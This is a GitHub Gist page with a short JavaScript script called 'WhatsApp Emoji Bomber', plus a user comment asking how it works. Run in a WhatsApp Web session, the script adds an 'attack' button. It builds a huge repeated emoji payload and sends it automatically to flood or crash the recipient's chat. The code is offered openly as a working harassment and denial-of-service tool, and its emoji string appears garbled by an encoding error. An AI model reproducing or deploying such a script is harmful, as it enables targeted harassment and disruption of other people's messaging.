-
-
Save IAMDEVILBOT438/e30793aac7d2201cf2848ea2213ff4b3 to your computer and use it in GitHub Desktop.
WhatsApp Emoji Bomber
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//WhatsApp Emoji Bomber | |
//Copyright (c) 2016 Parth Parikh | |
//Under MIT License | |
//Dispatch function by macr1408 from https://github.com/macr1408/Whatsapp | |
function dispatch(target, eventType, char) { | |
var evt = document.createEvent("TextEvent"); | |
evt.initTextEvent(eventType, true, true, window, char, 0, "en-US"); | |
target.focus(); | |
target.dispatchEvent(evt); | |
} | |
ip = document.createElement("input"); | |
document.querySelector("#side > header > div.pane-list-user").appendChild(ip); | |
ip.focus(); | |
bt = document.createElement("button"); | |
bt.textContent = "attack"; | |
bt.onclick = function() { | |
size = ip.value; | |
sendPayload(size); | |
document.querySelector("#side > header > div.pane-list-user").removeChild(ip); | |
document.querySelector("#side > header > div.pane-list-user").removeChild(bt); | |
} | |
document.querySelector("#side > header > div.pane-list-user").appendChild(bt); | |
function sendPayload(size) { | |
a = document.querySelector("#main > footer > div > div > div > div.input"); | |
payload = ""; | |
base = "๐๐๐ผ๐ฌ๐๐๐ขโฟ๐ตใฝ8โฃ๐ช6โฃ๐๐๐โ๐ณ๐ฆ๐๐ธโป๐ง๐ฏ๐จ๐ท๐ง๐น๐ฃ๐๐ถโ๐ถ๐๐โฐ๐๐ฌ๐๐๐๐๐๐โกโ๐๐ณโโโ๐โชโ๐ด๐ณ๐ ฐโขโขโฃ๐๐ฎ๐ฐโโ๐ทโจ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐๐๐ผ๐ฌ๐๐ฐ๐๐ขโฟ๐ตใฝ8โฃ๐ช6โฃ๐๐๐โ๐ณ๐ฆ๐๐ธโป๐ง๐ฏ๐จ๐ท๐ง๐น๐ฃ๐๐ถโ๐ถ๐๐โฐ๐๐ฌ๐๐๐๐๐๐โกโ๐๐ณโโโ๐โชโ๐ด๐ณ๐ ฐโขโขโฃ๐๐ฎ๐ฐโโ๐ทโจ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐๐๐๐ผ๐ฌ๐๐ฐ๐๐ขโฟ๐ตใฝ8โฃ๐ช6โฃ๐๐๐โ๐ณ๐ฆ๐๐ธโป๐ง๐ฏ๐จ๐ท๐ง๐น๐ฃ๐๐ถโ๐ถ๐๐โฐ๐๐ฌ๐๐๐๐๐๐โกโ๐๐ณโโโ๐โชโ๐ด๐ณ๐ ฐโขโขโฃ๐๐ฎ๐ฐโโ๐ทโจ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐ฐ๐๐๐"; | |
for (i = 0; i < size; i++) { | |
payload += base; | |
} | |
dispatch(a, "textInput", payload); | |
delete payload; | |
document.querySelector("#main > footer > div > button.icon.btn-icon.icon-send.send-container").click(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
pls guide me how it works